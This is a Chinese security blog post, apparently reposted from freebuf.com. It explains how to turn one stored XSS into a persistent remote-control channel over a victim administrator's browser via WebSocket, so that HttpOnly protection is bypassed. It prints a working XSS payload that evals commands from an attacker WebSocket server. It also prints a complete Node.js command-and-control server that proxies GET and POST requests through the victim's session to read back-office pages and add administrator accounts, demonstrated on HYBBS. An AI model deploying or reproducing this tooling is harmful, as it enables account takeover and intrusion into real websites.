0x00 前言
在黑盒测试的XSS中,谈起httponly确实是一个让人非常头疼的问题,它保护了管理员的cookie信息。笔者感觉分析后台源码然后构造新的XSS的Payload,通过Ajax来添加管理员用户,是一种非常稳的选择。但是这是要考验攻击者的JavaScript水平了,如果Js中再给你来几层有趣的加密,那攻击者就该一步一步解密后再一步一步进行Js审计,而且XSS获取源码只是一次性的,而没有审计到关键的代码等同于此次XSS只能做后续XSS的铺垫,继续XSS,继续等管理员上钩,构造Payload,发送XSS的Payload,再等管理员上钩,想想就头大,白帽子的两行泪流出来了有木有。
那么本篇文章可以让你连Js都不需要去审计,手动Payload更不需要,就可以让管理员轻松发送”添加管理员”的XSS Payload。
0x01 普通的XSS获取源码信息
我们看一下普通XSS获取源码信息的Payload
这是笔者在百度中搜索到的,可以了解到获取源码只是发送ajax请求,然后得到源码给攻击者服务器端。
因为HTTP协议只有发送与接收,如果我们想要一劳永逸(一次XSS即可完成),那么我们不妨利用一下WebSocket。
0x02 WebSocket获取多个页面
那我们放到这里仔细想一想,如果我们通过 WebSocket 让 管理员的浏览器 与 攻击者的服务器 进行一次链接,此时我们扭转身份,让 管理员浏览器 作为 攻击者服务器 的服务端,随后 攻击者服务器 多次要求 管理员浏览器 发送源码,这样是不是就达到了一次XSS多个页面的效果。
什么?还不明白,那看下面这张图。
此时B为WebSocket,A为受害者,C为攻击者,C多次要求A来拿钱(源码)给我,这个时候WebSocket就成为了中间人的身份。它是受害者与攻击者的一个桥梁(脱离了HTTP协议的TCP)。
0x03 WebSocket源码映射思路
既然可以获取多个页面,而我们又不喜欢进行Js审计(这明明是笔者不喜欢),然后手动构造Payload,我们喜欢轻松的感觉。那干脆就在源码上进行fuzz操作吧(本地fuzz毛线啊)。
这里笔者稍微怼一下你们(明明是自娱自乐),笔者先把思维导图贴一下。
也就是说,我们可以获取多个源码信息,然后将目标的所有CSS与JS通过外联的方式引入进来,因为CSS样式与JS对于我们都非常重要。然后本地再去源码中找一下有没有”添加管理员”的功能,因为各种Js与Css都引入进来了,那么就可以发送表单请求。然后我们通过Fuzz找到“添加管理员”功能后,通过fuzz来添加用户,而WebSocket告诉管理员的浏览器:“我要发送一个添加管理员的Ajax请求”。随后管理员浏览器去发送。这样下来连Js审计都不需要了。
0x04 WebSocket源码映射实现
当然了,我们纸上谈兵没有什么用的,下边我们一起实现一下吧~
WebSocket XSS Payload:
<script>
var ws = new WebSocket(‘ws://127.0.0.1:5555/’); //攻击者的websocket
ws.addEventListener(‘message’, (data) => {
try {
eval(data.data);
}catch(e){
console.log(‘代码执行错误’);
}
});
</script>
这里笔者使用nodeJs编写的服务端。这里其实也有原因的,因为nodeJs支持一个文件多个端口,其次路由可以自由指定,非常舒服。所以笔者这里使用的是nodeJs。
服务端代码:
let ws = require(‘nodejs-websocket’);
let http = require(‘http’);
let url = require(‘url’);
let resStr = ”;let server = ws.createServer(connect => {
connect.send(createString(‘GET’, `’+location.href+’`));
connect.on(‘text’, (data) => {
resStr = data;
});
connect.on(‘error’, () => {});
connect.on(‘close’, () => {});
});
server.listen(5555);let httpServer = http.createServer((request, response) => {
if(request.url == ‘/favicon.ico’){
return;
}
response.writeHead(200, {‘Content-Type’:’text/html;charset=utf8′});
if(url.parse(request.url).pathname == ‘/heihu577’){
let querystring = url.parse(request.url, true);
let cmd = querystring.query.cmd;
console.log(querystring.query);
if(cmd != ”){
guangbo(cmd);
}
}else if(request.method.toLowerCase() == ‘get’){
guangbo(createString(‘GET’, request.url));
response.end(resStr);
}else if(request.method.toLowerCase() == ‘post’){
let tmpStr = ”;
request.addListener(‘data’, (chunk) => {
tmpStr += chunk;
});
request.addListener(‘end’, () => {
guangbo(createString(‘POST’, request.url, tmpStr));
response.end(resStr);
});
}
response.end(‘ok’);
});
httpServer.listen(6666);function guangbo(data){
server.connections.forEach(item => {
item.send(data);
});
}function createString(method, url, options = ”){
switch(method){
case ‘GET’:
str = `let xml = new XMLHttpRequest();xml.open(‘${method}’, ‘${url}’);xml.send(null);xml.onreadystatechange=function(){if(this.status==’200’&&this.readyState==’4′){ws.send(this.responseText.replace(/<(script|link)(.+?)(href|src)=([“|’])(?!http)(.+?)[“|’](.*?)>/gm,\`<$1$2$3=$4\${window.location.protocol+”//”+window.location.host+”/”}$5$4$6>\`));}}`;
break;
case ‘POST’:
str = `let xml = new XMLHttpRequest();xml.open(‘${method}’, ‘${url}’);xml.setRequestHeader(“Content-Type”, “application/x-www-form-urlencoded”);xml.send(‘${options}’);xml.onreadystatechange=function(){if(this.status==’200’&&this.readyState==’4′){ws.send(this.responseText);}}`;
break;
}
return str;
}
请注意这里引用了nodeJs外部的nodejs-websocket包,使用 npm install nodejs-websocket –save命令安装即可。
这里就随便找一套程序吧,这里笔者使用的程序是HYBBS。因为之前通读完没有删除代码。
映射演示:
这里不知道某些原因,访问要访问的页面需要访问两次。
添加用户测试:
唯一缺点就是,当管理员关闭当前页面则源码无法获取。
来源:freebuf.com 2020-08-19 15:09:31 by: Heihu577
请登录后发表评论
注册